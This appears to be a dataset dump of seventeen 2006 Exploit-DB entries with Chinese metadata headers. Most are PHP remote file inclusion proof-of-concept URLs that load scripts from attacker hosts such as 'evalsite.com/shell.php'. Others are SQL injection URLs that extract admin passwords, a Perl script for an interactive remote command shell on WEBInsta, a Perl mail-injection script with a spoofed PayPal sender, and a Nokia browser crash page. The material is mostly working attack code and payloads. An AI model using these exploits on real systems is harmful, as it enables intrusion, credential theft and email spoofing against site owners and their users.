QLWD/code_shield huggingface dataset:
标题: IRSR 0.2 - '_sysSessionPath' Remote File Inclusion EDB-ID: 2199 CVE: 2006-4237 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-17 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- IRSR - Invisionix Roaming System Remote <= 0.2 [_sysSessionPath] Remote File Include Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: IRSR - Invisionix Roaming System Remote v. 0.2
- [Script site: http://www.invisionix.org or http://sourceforge.net/projects/irsr
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart :-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
+
- P.S: Pozdrawiam ludzi z United Crew!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
vulnerable code => pageheaderdefault.inc.php line 28-36:
[code]
//
// Perform the session handling preprocessing.
//
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die("Could NOT obtain authentication info after login!
");
mysql_select_db($_sysDBname) or die("Was NOT able to obtain authentication info after login!
");
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Fix:
[code]
$_sysSessionPath = @dirname(@dirname(@dirname(__FILE__)));
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die("Could NOT obtain authentication info after login!");
mysql_select_db($_sysDBname) or die("Was NOT able to obtain authentication info after login!");
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[IRSR_path]/system/includes/pageheaderdefault.inc.php?_sysSessionPath=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-17] URL: https://www.exploit-db.com/exploits/2199
标题: WEBInsta CMS 0.3.1 - 'users.php' Remote File Inclusion EDB-ID: 2189 CVE: 2006-4217 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-15 漏洞利用脚本: /*
Vulnerable product : http://www.webinsta.com/download.html ( WEBInsta. CMS 0.3.1 )
Author : Yns - yns.zaxaz.com
*/

Exploit:
http://[HOST]/[PATH]/modules/usersonline/users.php?module_dir=[REMOTE_FILE]

# milw0rm.com [2006-08-15] URL: https://www.exploit-db.com/exploits/2189
标题: dotProject 2.0.4 - 'baseDir' Remote File Inclusion EDB-ID: 2191 CVE: 2006-4234 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-16 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- dotProject <= 2.0.4 (baseDir) Remote File Include Vulnerabilities
+
- [Script name: dotProject v. 2.0.4
- [Script site: http://www.dotproject.net/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Greetz: DragonHeart
- and all DEVIL TEAM Members :-)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Expl:

http://www.site.com/[dotProject_path]/classes/query.class.php?baseDir=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-16] URL: https://www.exploit-db.com/exploits/2191
标题: Discloser 0.0.4 - 'fileloc' Remote File Inclusion EDB-ID: 2188 CVE: 2006-4207 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-15 漏洞利用脚本: |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
| discloser 0.0.4 Remote File Inclusion Vulnerability
|
| Download: http://optusnet.dl.sourceforge.net/sourceforge/discloser/discloser-0.0.4.tar.gz
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|Contact|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
| Discoverd by: Arash RJ
|
| Team: PersianFox Digital Security Team
|
| URL: http://www.PersianFox.com
|
| E-Mail: arashrj@gmail.com
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|Exploit|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
| http://[Target]/[Path]/content/content.php?fileloc=http://www.evalsite.com/shell.php?
|
| http://[Target]/[Path]/inc/indexhead.php?fileloc= http://www.evalsite.com/shell.php?
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|

# milw0rm.com [2006-08-15] URL: https://www.exploit-db.com/exploits/2188
标题: Mambo Component Peoplebook 1.0 - Remote File Inclusion EDB-ID: 2184 CVE: 2006-4195 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-14 漏洞利用脚本: ---------------------------------------------------------------------------
Peoplebook Mambo Component <= v1.0 Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Author          : Matdhule
Date            : August, 14th 2006
Location        : Indonesia, Jakarta
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Peoplebook Component

Application     : Peoplebook Component
version         : 1.0
URL             : www.mamboforge.net/projects/peoplebook

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

in folder com_peoplebook we found vulnerability script param.peoplebook.php.

-----------------------param.peoplebook.php----------------------
....
<?php

if (file_exists($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php')) {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php');
}
else {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/english.php');
}
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://[target]/[path]/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path= http://attacker.com/evil.txt?

Solution:
~~~~~~~

sanitize variabel $mosConfig_absolute_path in param.peoplebook.php


---------------------------------------------------------------------------
Shoutz:
~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @ irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~

     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ] ---------------------------------- 

# milw0rm.com [2006-08-14] URL: https://www.exploit-db.com/exploits/2184
标题: Spidey Blog Script 1.5 - 'proje_goster.asp' SQL Injection (1) EDB-ID: 2186 CVE: 2006-4202 类型: WEBAPPS 平台: ASP 发布日期: 2006-08-14 漏洞利用脚本: ###############################################################
#Spidey Blog Script <== 1.5 (tr) SQL Injection Vulnerability  #
#Author : ASIANEAGLE                                          #
#Site   : www.asianeagle.org                                  #
#Contact: admin@asianeagle.org                                #
###############################################################
#Risk   : High
#Download Link Of Spidey Blog : http://www.aspindir.com/Kategoriler/ASP/bloglar


#Exploit;
#Admin Nick;
http://[SITE]/[Spidey Blog Path]/proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,sifre,6%20from%20uyeler%20where%20id%20like%201

#Admin Password;
http://[SITE]/[Spidey Blog Path]/proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,kullanici_adi,6%20from%20uyeler%20where%20id%20like%201


#Greetz: Str0ke
Forever milw0rm ;)

# milw0rm.com [2006-08-14] URL: https://www.exploit-db.com/exploits/2186
标题: PHProjekt 5.1 - Multiple Remote File Inclusions EDB-ID: 2190 CVE: 2006-4204 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-15 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: PHProjekt v. 5.1
- [Script site: http://www.phprojekt.com/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Greetz: DragonHeart
- and all DEVIL TEAM Members :-)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Expl:

http://www.site.com/[PHProjekt_path]/lib/dbman_filter.inc.php?lib_path=[evil_scripts]

http://www.site.com/[PHProjekt_path]/lib/specialdays.php?path_pre=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-15] URL: https://www.exploit-db.com/exploits/2190
标题: Joomla! Component Webring 1.0 - Remote File Inclusion EDB-ID: 2177 CVE: 2006-4129 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-13 漏洞利用脚本: ####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

Joomla Webring Component (component_dir) Remote File Inclusion Vulnerabilities

####################################################

Author: xoron

####################################################

Class : Remote

####################################################

cont@ct: x0r0n[at]hotmail[dot]com

####################################################

Code: in admin.webring.docs.php, line 12

require_once ($component_dir. "mungdocs.class.php");

####################################################

Google dork: inurl:com_webring

####################################################

Exploit:
http://www.site.com/[path]/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://evil_scripts?

####################################################

Greetz: str0ke, Preddy, Ironfist, x-master, DJR, R3D4C!D

####################################################

# milw0rm.com [2006-08-13] URL: https://www.exploit-db.com/exploits/2177
标题: Wheatblog 1.1 - 'session.php' Remote File Inclusion EDB-ID: 2174 CVE: 2006-4198 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-11 漏洞利用脚本: ###########################################################################################
#                                   Aria-Security.net Advisory                            #
#                                 Discovered  by: O.U.T.L.A.W                             #
#                                < www.Aria-security.net >                                #
#                      Gr33t to: A.u.r.a  & l2odon & DrtRp & Sh3ll                        #              
###########################################################################################


<?php
include_once("$wb_class_dir/classDatabase.php");


function Start_Session()
{
    global $session_dir;

    if ( $session_dir != '' )
        session_save_path($session_dir);

    if ( ! isset($_SESSION) )
    {
        session_start();
        // Supposedly a fix for IE6
        header('Cache-control: private');
        My_Cache();

        if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource')
            touchDatabaseSession();

    }
}


***********************************************************************

Proof of Concept:
server/includes/session.php?wb_class_dir=SHELL

Contact : Outlaw@aria-security.net

# milw0rm.com [2006-08-11] URL: https://www.exploit-db.com/exploits/2174
标题: ProjectButler 0.8.4 - 'rootdir' Remote File Inclusion EDB-ID: 2183 CVE: 2006-4205 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-14 漏洞利用脚本: ########################################################################
#  projectbutler-0.8.4  Remote File Inclusion Vulnerability
#
#  Download: http://prdownloads.sourceforge.net/projectbutler/projectbutler-0.8.4.tar.gz?download
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/classes/Cache.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Customer.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Performance.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Project.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/Representative.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/User.class.php?rootdir=http://cmd.gif?
#  http://[Target]/[Path]/classes/common.php?rootdir=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-14] URL: https://www.exploit-db.com/exploits/2183
标题: WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion EDB-ID: 2175 CVE: 2006-4196 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-12 漏洞利用脚本: #!/usr/bin/perl
##
# WEBinsta CMS 0.3.1 (templates_dir) Remote File Inclusion Exploit
# Bug Found & code By K-159 
##
# echo.or.id (c) 2006
# 
##
# usage:
# perl WEBinsta.pl <target> <cmd shell location> <cmd shell variable>
#
# perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'index.php?templates_dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *WEBinsta CMS 0.3.1 templates_dir Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl WEBinsta.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to WEBinsta CMS ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net 2006 \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-08-12] URL: https://www.exploit-db.com/exploits/2175
标题: WEBInsta MM 1.3e - 'cabsolute_path' Remote File Inclusion EDB-ID: 2171 CVE: 2006-4209 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: +--------------------------------------------------------------------
+
+ WEBInsta Mailing list manager 1.3e (cabsolute_path) RFI
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/311/org/
+ WEBInsta_Mailing_list_manager_(cabsolute_path)_1.3e_RFI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: WEBInsta. Mailing list manager 1.3e
+ Venedor ...........: http://www.webinsta.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /istall/install3.php:
+
+ .....
+ if($database=="none")
+ {
+ include($cabsolute_path.'inc/adodbt/db.inc');
+ $conn = &ADONewConnection();
+ .....
+
+--------------------------------------------------------------------
+
+ $cabsolute_path is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Delete folder "install" after installation!!
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/install/install3.php?database=none&cabsolute_path=[script]
+
+--------------------------------------------------------------------
+
+ Greets: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-10] URL: https://www.exploit-db.com/exploits/2171
标题: MVCnPHP 3.0 - glConf[path_libraries] Remote File Inclusion EDB-ID: 2173 CVE: 2006-4160 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: MVCnPHP Remote File Inclusion

############ToXiC CrEw###############

Bug Found by Drago84

Page  Sources:
http://freshmeat.net/redir/mvcnphp/46123/url_tgz/Geeklog_MVCnPHP-3.0.0.tgz

Page Affect:
BaseCommand.php
BaseLoader.php
BaseView.php

ExP:
http://server/dir_mvcnphp/BaseCommand.php?glConf[path_libraries]=http://evalsite.com/shell.php
http://server/dir_mvcnphp/BaseLoader.php?glConf[path_libraries]=http://evalsite.com/shell.php
http://server/dir_mvcnphp/BaseView.php?glConf[path_libraries]=http://evalsite.com/shell.php

# milw0rm.com [2006-08-10] URL: https://www.exploit-db.com/exploits/2173
标题: PHPay 2.02 - 'nu_mail.inc.php?mail()' Remote Injection EDB-ID: 2181 CVE: 2006-4210 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-14 漏洞利用脚本: #!/usr/bin/perl
#####################
# Script: phPay v2.02 http://phpay.de/
# Vuln File: nu_mail.inc.php
# Exploit & Advisory: beford <xbefordx gmail com>
# Vulnerability: mail() Injection
# Vuln Code:
# <?php
# if (ereg("nu_mail.inc.php", $SCRIPT_NAME)) header("Location:./index.html");
# elseif (ereg("nu_mail.inc.php", $_SERVER['SCRIPT_NAME'])) header("Location:./index.html");
# $mail_text="$mail_2a\n\n";
# ...
# That *should* prevent direct access to the vulnerable file, but they didnt die()/exit()'ed
# so, pwnt. You need register globals enabled to be able of exploiting this issue.
#
#####################
use LWP::UserAgent;
use URI::URL; 
print "\n[*] phPay v2.02 nu_mail.inc.php mail() Injection\n[*] exploit&advisory: beford <xbefordx gmail com>\n";
if (scalar(@ARGV)<6) {
 print "\tUsage:\t./own.pl <host> <path> <email-to> <email-subject> <email-message> <email-from> [headers]\n";
 print "\t<host> : orly\n";
 print "\t<path> : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n";
 print "\t<email-to> <email-subject> <email-message> <email-from> : duh\n";
 print "\t[headers] : optional extra headers for mail \"%0AContent-type: text/html%0A%0A\"\n\n";
 print "\t./own.pl http://www.vuln.es /phpayv2.02/ x\@mail.co h4x \"hack\" support\@paypal.com \n\n";
 exit;
}
$host = shift @ARGV;
$path = shift @ARGV;
$to = shift @ARGV;
$subject = shift @ARGV;
$message = shift @ARGV;
$from = shift @ARGV;
$headers = shift @ARGV;
my $url = URI::URL->new($full);
$full = $url->as_string;
$full =  "${host}${path}nu_mail.inc.php?mail_text2=${message}&user_row[]=&user_row[5]=${to}&nu_mail_1=${subject}&shop_mail=${from}${headers}";
print "[*] exploiting $host\n";
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new('GET',"$full");
$res = $ua->request($req);
print "\t[*] mail sent\n" if $res->is_success;

# milw0rm.com [2006-08-14] URL: https://www.exploit-db.com/exploits/2181
标题: Mambo Component Remository 3.25 - Remote File Inclusion EDB-ID: 2172 CVE: 2006-4130 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: o9.o8.2oo6 ..
 
 
  Affected Application: Remository v3.25 

       (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino@sexmagnet.com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [x]  High [ ]
 
  Application: Remository
 
  Version: 3.25
 
  Vulnerable File: admin.remository.php
 
  URL: http://www.remository.com
 
  Description: It's a component that works with Mambo CMS 4.5+ to 

               provide a selection of files that users can download. 
 
  Dork: intext:"Remository 3.25. is technology by Black Sheep Research"

        inurl:"com_remository"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  http://[sitepath]/[joomlapath]/administrator/components/

  com_remository/admin.remository.php?mosConfig_absolute_path=http://huh?
 
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open admin.remository.php
 
  o2.) take a look at line 16:

       require_once ($mosConfig_absolute_path.'/components/

       com_remository/com_remository_constants.php');
 
  o3.) take a look at line 19:

       defined( '_VALID_MOS' ) or die( 'Direct Access to this location 
 
       is not allowed.' );
 
  o4.) exchange line 19 with line 16!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  all the sexy members of insecurity research team ;-)

# milw0rm.com [2006-08-10] URL: https://www.exploit-db.com/exploits/2172
标题: Nokia Symbian 60 3rd Edition - Browser Crash (Denial of Service) EDB-ID: 2176 CVE: 2006-4464 类型: DOS 平台: HARDWARE 发布日期: 2006-08-13 漏洞利用脚本: <!--

Nokia Browser Crash by Qode

http://www.qode.org

-->

<html><body><script>

function crash()

               {

               alert('Nokia Browser Crash by Qode');

               shellcode = unescape('%ucccc');

               fill = unescape('%ucccc');

               addr = 0x02020202;

               var b = fill;

               while (b.length <= 0x400000) b+=b;

               }

</script>

Nokia Browser Crash by Qode<br>

<input type='button' onClick='crash()' value='Crash'>

</body></html>

# milw0rm.com [2006-08-13] URL: https://www.exploit-db.com/exploits/2176